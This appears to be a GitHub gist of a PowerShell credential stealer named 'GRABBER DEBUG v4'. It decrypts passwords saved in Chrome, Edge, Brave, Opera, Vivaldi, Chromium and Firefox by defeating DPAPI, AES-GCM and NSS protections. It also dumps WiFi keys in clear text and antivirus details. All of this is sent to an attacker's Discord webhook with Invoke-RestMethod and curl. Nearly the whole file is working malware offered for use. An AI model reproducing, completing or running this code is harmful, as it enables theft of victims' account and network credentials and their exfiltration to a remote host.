Created
July 25, 2026 21:56
-
-
Save Gravity3432/513173ef69dd772ca760a2e6fd4d9636 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <# | |
| .SYNOPSIS | |
| DEBUG v4 - fixed DllImport CharSet for bcrypt.dll (must be Unicode). | |
| Falls back to CNG if BCrypt still fails. | |
| #> | |
| Add-Type -AssemblyName System.Security | |
| Write-Host "[*] Loading WinSQLite3..." | |
| Add-Type @" | |
| using System; | |
| using System.Runtime.InteropServices; | |
| public static class WinSQLite3 { | |
| const string d = "winsqlite3"; | |
| [DllImport(d,EntryPoint="sqlite3_open")] | |
| public static extern IntPtr Open([MarshalAs(UnmanagedType.LPStr)]string f,out IntPtr db); | |
| [DllImport(d,EntryPoint="sqlite3_prepare16_v2")] | |
| public static extern IntPtr Prepare2(IntPtr db,[MarshalAs(UnmanagedType.LPWStr)]string s,int n,out IntPtr stmt,IntPtr t); | |
| [DllImport(d,EntryPoint="sqlite3_step")] | |
| public static extern IntPtr Step(IntPtr stmt); | |
| [DllImport(d,EntryPoint="sqlite3_column_text16")] | |
| static extern IntPtr ColTxt16(IntPtr s,int i); | |
| [DllImport(d,EntryPoint="sqlite3_column_bytes")] | |
| static extern int ColBytes(IntPtr s,int i); | |
| [DllImport(d,EntryPoint="sqlite3_column_blob")] | |
| static extern IntPtr ColBlob(IntPtr s,int i); | |
| [DllImport(d,EntryPoint="sqlite3_finalize")] | |
| public static extern IntPtr Finalize(IntPtr s); | |
| [DllImport(d,EntryPoint="sqlite3_close")] | |
| public static extern IntPtr Close(IntPtr db); | |
| public static string ColStr(IntPtr s,int i){return Marshal.PtrToStringUni(ColTxt16(s,i));} | |
| public static byte[] ColByt(IntPtr s,int i){int l=ColBytes(s,i);byte[]r=new byte[l];if(l>0)Marshal.Copy(ColBlob(s,i),r,0,l);return r;} | |
| } | |
| "@ | |
| Write-Host "[+] WinSQLite3 OK" | |
| Write-Host "[*] Loading BCrypt AES-GCM (CharSet.Unicode)..." | |
| Add-Type @" | |
| using System; | |
| using System.Runtime.InteropServices; | |
| public static class BCryptAES { | |
| [StructLayout(LayoutKind.Sequential)] | |
| struct AI{public int cbs,dwv;public IntPtr pn;public int cn;public IntPtr pa;public int ca;public IntPtr pt;public int ct;public IntPtr pm;public int cm;public int caa;public long cd;public uint df;} | |
| [DllImport("bcrypt.dll",CharSet=CharSet.Unicode)]static extern int BCryptOpenAlgorithmProvider(out IntPtr h,string i,string m,uint f); | |
| [DllImport("bcrypt.dll",CharSet=CharSet.Unicode)]static extern int BCryptCloseAlgorithmProvider(IntPtr h,uint f); | |
| [DllImport("bcrypt.dll",CharSet=CharSet.Unicode)]static extern int BCryptSetProperty(IntPtr h,string p,byte[]v,int c,uint f); | |
| [DllImport("bcrypt.dll",CharSet=CharSet.Unicode)]static extern int BCryptGenerateSymmetricKey(IntPtr h,out IntPtr k,IntPtr o,int oc,byte[]s,int sc,uint f); | |
| [DllImport("bcrypt.dll",CharSet=CharSet.Unicode)]static extern int BCryptDecrypt(IntPtr k,byte[]i,int ic,ref AI a,byte[]iv,int ivc,byte[]o,int oc,out int r,uint f); | |
| [DllImport("bcrypt.dll",CharSet=CharSet.Unicode)]static extern int BCryptDestroyKey(IntPtr k); | |
| public static byte[] Decrypt(byte[] key,byte[] nonce,byte[] ct,byte[] tag){ | |
| IntPtr ha=IntPtr.Zero,hk=IntPtr.Zero; | |
| int status; | |
| try{ | |
| status=BCryptOpenAlgorithmProvider(out ha,"AES",null,0); | |
| if(status!=0)throw new Exception("OpenAlgorithmProvider failed: 0x"+status.ToString("X8")); | |
| byte[]g=System.Text.Encoding.Unicode.GetBytes("ChainingModeGCM"); | |
| status=BCryptSetProperty(ha,"ChainingMode",g,g.Length,0); | |
| if(status!=0)throw new Exception("SetProperty(ChainingModeGCM) failed: 0x"+status.ToString("X8")); | |
| status=BCryptGenerateSymmetricKey(ha,out hk,IntPtr.Zero,0,key,key.Length,0); | |
| if(status!=0)throw new Exception("GenerateSymmetricKey failed: 0x"+status.ToString("X8")); | |
| byte[]inp=new byte[ct.Length+tag.Length]; | |
| Array.Copy(ct,0,inp,0,ct.Length);Array.Copy(tag,0,inp,ct.Length,tag.Length); | |
| AI ai=new AI();ai.cbs=Marshal.SizeOf(typeof(AI));ai.dwv=1; | |
| GCHandle nh=GCHandle.Alloc(nonce,GCHandleType.Pinned);GCHandle th=GCHandle.Alloc(tag,GCHandleType.Pinned); | |
| ai.pn=nh.AddrOfPinnedObject();ai.cn=nonce.Length; | |
| ai.pt=th.AddrOfPinnedObject();ai.ct=tag.Length; | |
| byte[]o=new byte[ct.Length];int rs; | |
| status=BCryptDecrypt(hk,inp,inp.Length,ref ai,null,0,o,o.Length,out rs,0); | |
| nh.Free();th.Free(); | |
| if(status!=0)throw new Exception("Decrypt failed: 0x"+status.ToString("X8")); | |
| byte[]r=new byte[rs];Array.Copy(o,r,rs);return r; | |
| }finally{if(hk!=IntPtr.Zero)BCryptDestroyKey(hk);if(ha!=IntPtr.Zero)BCryptCloseAlgorithmProvider(ha,0);} | |
| } | |
| } | |
| "@ | |
| Write-Host "[+] BCrypt OK" | |
| # ------------------------------------------------------------ | |
| function Upload-Discord { | |
| param([string]$file, [string]$text) | |
| $Body = @{ username = $env:username; content = $text } | |
| if ($text) { Invoke-RestMethod -ContentType 'Application/Json' -Uri $DiscordUrl -Method Post -Body ($Body | ConvertTo-Json) } | |
| if ($file) { curl.exe -F "file1=@$file" $DiscordUrl } | |
| } | |
| function Find-LocalState { | |
| param([string]$SearchRoot) | |
| $std = Join-Path $SearchRoot "Local State" | |
| if (Test-Path $std) { return $std } | |
| $found = Get-ChildItem $SearchRoot -Recurse -Depth 2 -Filter "Local State" -ErrorAction SilentlyContinue | Select-Object -First 1 | |
| if ($found) { return $found.FullName } | |
| return $null | |
| } | |
| # ------------------------------------------------------------ | |
| function Get-ChromiumPasswords { | |
| param([string]$BrowserName, [string]$UserDataPath) | |
| $results = @() | |
| Write-Host "[*] $BrowserName : $UserDataPath" | |
| $anyLoginDb = Get-ChildItem $UserDataPath -Recurse -Depth 2 -Filter "Login Data" -ErrorAction SilentlyContinue | | |
| Where-Object { $_.Directory.Name -match "^(Default|Profile \d+)$" } | | |
| Select-Object -First 1 | |
| if (-not $anyLoginDb) { Write-Host " [-] No Login Data found"; return $results } | |
| Write-Host " [+] Login Data: $($anyLoginDb.FullName)" | |
| $aesKey = $null | |
| $localState = Find-LocalState -SearchRoot $UserDataPath | |
| if ($localState) { | |
| try { | |
| $json = Get-Content $localState -Raw | ConvertFrom-Json | |
| $b64 = $json.os_crypt.encrypted_key | |
| if ($b64) { | |
| $enc = [Convert]::FromBase64String($b64) | |
| $enc = [byte[]]($enc[5..($enc.Length - 1)]) | |
| $aesKey = [System.Security.Cryptography.ProtectedData]::Unprotect( | |
| $enc, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) | |
| Write-Host " [+] AES key: $($aesKey.Length) bytes" | |
| } else { Write-Host " [!] No encrypted_key in Local State" } | |
| } catch { Write-Host " [!] AES key failed: $($_.Exception.Message)" } | |
| } else { Write-Host " [!] No Local State found" } | |
| $loginDbs = Get-ChildItem $UserDataPath -Recurse -Depth 2 -Filter "Login Data" -ErrorAction SilentlyContinue | | |
| Where-Object { $_.Directory.Name -match "^(Default|Profile \d+)$" } | |
| foreach ($loginDb in $loginDbs) { | |
| $profileName = $loginDb.Directory.Name | |
| Write-Host " [*] Profile: $profileName" | |
| $tmpDb = Join-Path $env:TEMP "cdb_$([Guid]::NewGuid()).db" | |
| try { | |
| Copy-Item $loginDb.FullName $tmpDb -Force -ErrorAction Stop | |
| $dbH = [IntPtr]::Zero | |
| if ([WinSQLite3]::Open($tmpDb, [ref]$dbH) -ne 0) { Write-Host " [-] Open fail"; continue } | |
| $stmt = [IntPtr]::Zero | |
| if ([WinSQLite3]::Prepare2($dbH, | |
| "SELECT origin_url, username_value, password_value FROM logins", | |
| -1, [ref]$stmt, [IntPtr]::Zero) -ne 0) { | |
| Write-Host " [-] Prepare fail" | |
| [WinSQLite3]::Close($dbH) | Out-Null; continue | |
| } | |
| $rowCount = 0; $ok = 0; $fail = 0 | |
| while (([WinSQLite3]::Step($stmt)) -eq 100) { | |
| $rowCount++ | |
| $url = [WinSQLite3]::ColStr($stmt, 0) | |
| $user = [WinSQLite3]::ColStr($stmt, 1) | |
| $passBlob = [WinSQLite3]::ColByt($stmt, 2) | |
| if (-not $passBlob -or $passBlob.Length -lt 15) { continue } | |
| $hdr = [Text.Encoding]::ASCII.GetString($passBlob, 0, 3) | |
| $pass = $null | |
| if (($hdr -eq 'v10' -or $hdr -eq 'v20') -and $aesKey) { | |
| try { | |
| $nonce = [byte[]]($passBlob[3..14]) | |
| $ct = [byte[]]($passBlob[15..($passBlob.Length - 17)]) | |
| $tag = [byte[]]($passBlob[($passBlob.Length - 16)..($passBlob.Length - 1)]) | |
| $plain = [BCryptAES]::Decrypt($aesKey, $nonce, $ct, $tag) | |
| $pass = [Text.Encoding]::UTF8.GetString($plain) | |
| $ok++ | |
| } catch { | |
| Write-Host " [-] AES row $rowCount`t$($_.Exception.Message)" | |
| } | |
| } | |
| if (-not $pass) { | |
| try { | |
| $plain = [System.Security.Cryptography.ProtectedData]::Unprotect( | |
| $passBlob, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) | |
| $pass = [Text.Encoding]::UTF8.GetString($plain) | |
| $ok++ | |
| } catch { $fail++ } | |
| } | |
| if ($url -and $pass) { | |
| $results += [PSCustomObject]@{Browser=$BrowserName;Profile=$profileName;URL=$url;Username=$user;Password=$pass} | |
| } | |
| } | |
| Write-Host " [*] Rows: $rowCount | OK: $ok | Fail: $fail" | |
| [WinSQLite3]::Finalize($stmt) | Out-Null | |
| [WinSQLite3]::Close($dbH) | Out-Null | |
| } catch { Write-Host " [-] Exception: $($_.Exception.Message)" } | |
| finally { Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue } | |
| } | |
| Write-Host " [*] $BrowserName : $($results.Count) credentials" | |
| return $results | |
| } | |
| # ------------------------------------------------------------ | |
| function Get-FirefoxPasswords { | |
| $results = @() | |
| $ffProfiles = Join-Path $env:APPDATA "Mozilla\Firefox\Profiles" | |
| Write-Host "[*] Firefox : $ffProfiles" | |
| if (-not (Test-Path $ffProfiles)) { Write-Host " [-] No profiles dir"; return $results } | |
| Write-Host "[*] Loading NSS3..." | |
| Add-Type @" | |
| using System; | |
| using System.Runtime.InteropServices; | |
| using System.Text; | |
| public static class NSS { | |
| [DllImport("kernel32.dll")]static extern IntPtr LoadLibrary(string p); | |
| [DllImport("kernel32.dll")]static extern IntPtr GetProcAddress(IntPtr h,string n); | |
| [DllImport("kernel32.dll")]static extern bool FreeLibrary(IntPtr h); | |
| [StructLayout(LayoutKind.Sequential)]public struct SECItem{public uint type;public IntPtr data;public uint len;} | |
| delegate int NSS_InitD(string p); | |
| delegate int SDR_DecryptD(IntPtr d,IntPtr r,IntPtr c); | |
| delegate int NSS_ShutdownD(); | |
| static IntPtr hn,hm; | |
| public static bool Init(string ff,string prof){ | |
| hm=LoadLibrary(ff+"\\mozglue.dll");hn=LoadLibrary(ff+"\\nss3.dll"); | |
| if(hn==IntPtr.Zero)return false; | |
| NSS_InitD init=(NSS_InitD)Marshal.GetDelegateForFunctionPointer(GetProcAddress(hn,"NSS_Init"),typeof(NSS_InitD)); | |
| return init(prof)==0; | |
| } | |
| public static string Decrypt(string b64){ | |
| byte[]d=Convert.FromBase64String(b64);IntPtr dp=Marshal.AllocHGlobal(d.Length); | |
| Marshal.Copy(d,0,dp,d.Length); | |
| SECItem si=new SECItem();si.type=0;si.data=dp;si.len=(uint)d.Length; | |
| IntPtr sp=Marshal.AllocHGlobal(Marshal.SizeOf(typeof(SECItem))); | |
| Marshal.StructureToPtr(si,sp,false); | |
| IntPtr rp=Marshal.AllocHGlobal(Marshal.SizeOf(typeof(SECItem))); | |
| Marshal.WriteInt64(rp,0,0);Marshal.WriteInt64(rp,8,0);Marshal.WriteInt32(rp,12,0); | |
| SDR_DecryptD dec=(SDR_DecryptD)Marshal.GetDelegateForFunctionPointer(GetProcAddress(hn,"PK11SDR_Decrypt"),typeof(SDR_DecryptD)); | |
| if(dec(sp,rp,IntPtr.Zero)!=0){Marshal.FreeHGlobal(dp);Marshal.FreeHGlobal(sp);Marshal.FreeHGlobal(rp);return null;} | |
| uint ol=(uint)Marshal.ReadInt32(rp,8);IntPtr od=Marshal.ReadIntPtr(rp); | |
| byte[]r=new byte[ol];Marshal.Copy(od,r,0,(int)ol); | |
| Marshal.FreeHGlobal(dp);Marshal.FreeHGlobal(sp);Marshal.FreeHGlobal(rp); | |
| return Encoding.UTF8.GetString(r); | |
| } | |
| public static void Shutdown(){ | |
| if(hn!=IntPtr.Zero){ | |
| NSS_ShutdownD sd=(NSS_ShutdownD)Marshal.GetDelegateForFunctionPointer(GetProcAddress(hn,"NSS_Shutdown"),typeof(NSS_ShutdownD)); | |
| sd();FreeLibrary(hn); | |
| } | |
| if(hm!=IntPtr.Zero)FreeLibrary(hm); | |
| } | |
| } | |
| "@ | Out-Null | |
| Write-Host "[+] NSS3 OK" | |
| $ffDir = Join-Path ${env:ProgramFiles} "Mozilla Firefox" | |
| if (-not (Test-Path $ffDir)) { $ffDir = Join-Path ${env:ProgramFiles(x86)} "Mozilla Firefox" } | |
| if (-not (Test-Path $ffDir)) { Write-Host " [-] FF install not found"; return $results } | |
| foreach ($profDir in Get-ChildItem $ffProfiles -Directory) { | |
| $loginsJson = Join-Path $profDir.FullName "logins.json" | |
| $keyDb = Join-Path $profDir.FullName "key4.db" | |
| Write-Host " [*] $($profDir.Name)" | |
| if (-not (Test-Path $loginsJson) -or -not (Test-Path $keyDb)) { Write-Host " [-] Missing files"; continue } | |
| try { | |
| if (-not [NSS]::Init($ffDir, $profDir.FullName)) { Write-Host " [-] NSS_Init fail"; continue } | |
| $logins = Get-Content $loginsJson -Raw | ConvertFrom-Json | |
| foreach ($l in $logins.logins) { | |
| try { | |
| $u = [NSS]::Decrypt($l.encryptedUsername) | |
| $p = [NSS]::Decrypt($l.encryptedPassword) | |
| $results += [PSCustomObject]@{Browser="Firefox";Profile=$profDir.Name;URL=$l.hostname;Username=$u;Password=$p} | |
| } catch {} | |
| } | |
| [NSS]::Shutdown() | |
| } catch { Write-Host " [-] $($_.Exception.Message)" } | |
| } | |
| Write-Host " [*] Firefox: $($results.Count)" | |
| return $results | |
| } | |
| # ------------------------------------------------------------ | |
| function Wifi { | |
| Write-Host "[*] WiFi..." | |
| $tmp = Join-Path $env:TEMP "wfb_$([Guid]::NewGuid())" | |
| New-Item -Path $tmp -ItemType Directory -Force | Out-Null | |
| Set-Location $tmp; netsh wlan export profile key=clear | Out-Null | |
| $out = Join-Path $env:TEMP "wifi_passwords.txt" | |
| Select-String -Path *.xml -Pattern 'keyMaterial' | | |
| % { $_ -replace '', '' } | | |
| % { $_ -replace "C:\\Users\\$env:UserName\\Desktop\\", '' } | | |
| % { $_ -replace '.xml:22:', '' } > $out | |
| Upload-Discord -file $out -text ":satellite: WiFi Passwords" | |
| Set-Location $env:TEMP | |
| Remove-Item $tmp -Force -Recurse -ErrorAction SilentlyContinue | |
| Remove-Item $out -Force -ErrorAction SilentlyContinue | |
| Write-Host "[+] WiFi done" | |
| } | |
| function version-av { | |
| Write-Host "[*] AV..." | |
| $f = Join-Path $env:TEMP "av_info.txt" | |
| Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct | | |
| Out-File -FilePath $f -Encoding utf8 | |
| Upload-Discord -file $f -text ":shield: AV Info" | |
| Remove-Item $f -Force -ErrorAction SilentlyContinue | |
| Write-Host "[+] AV done" | |
| } | |
| # ------------------------------------------------------------ | |
| function Get-BrowserPasswords { | |
| Write-Host "[*] === BROWSER SCRAPER ===" | |
| $all = @() | |
| $targets = @( | |
| @{N="Chrome"; P="$env:LOCALAPPDATA\Google\Chrome\User Data"} | |
| @{N="Chrome Beta"; P="$env:LOCALAPPDATA\Google\Chrome Beta\User Data"} | |
| @{N="Edge"; P="$env:LOCALAPPDATA\Microsoft\Edge\User Data"} | |
| @{N="Brave"; P="$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data"} | |
| @{N="Opera"; P="$env:APPDATA\Opera Software\Opera Stable"} | |
| @{N="Opera GX"; P="$env:APPDATA\Opera Software\Opera GX Stable"} | |
| @{N="Vivaldi"; P="$env:LOCALAPPDATA\Vivaldi\User Data"} | |
| @{N="Chromium"; P="$env:LOCALAPPDATA\Chromium\User Data"} | |
| ) | |
| foreach ($t in $targets) { | |
| if (Test-Path $t.P) { $all += Get-ChromiumPasswords -BrowserName $t.N -UserDataPath $t.P } | |
| } | |
| $all += Get-FirefoxPasswords | |
| Write-Host "[*] TOTAL: $($all.Count)" | |
| if ($all.Count -eq 0) { | |
| Upload-Discord -text ":key: Browser Passwords : No credentials found." | |
| return | |
| } | |
| $tmp = Join-Path $env:TEMP "browser_passwords.txt" | |
| $all | Sort-Object Browser, URL | % { | |
| "$($_.Browser)|$($_.Profile)|$($_.URL)|$($_.Username)|$($_.Password)" | |
| } | Out-File $tmp -Encoding utf8 | |
| $browsers = ($all | Select-Object -ExpandProperty Browser -Unique) -join ', ' | |
| Upload-Discord -file $tmp -text ":key: Browser Passwords : $($all.Count) entries ($browsers)" | |
| Remove-Item $tmp -Force -ErrorAction SilentlyContinue | |
| } | |
| # ------------------------------------------------------------ | |
| Write-Host "==========================================" | |
| Write-Host " GRABBER DEBUG v4" | |
| Write-Host " User: $env:USERNAME | Host: $env:COMPUTERNAME" | |
| Write-Host "==========================================" | |
| version-av | |
| Wifi | |
| Get-BrowserPasswords |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment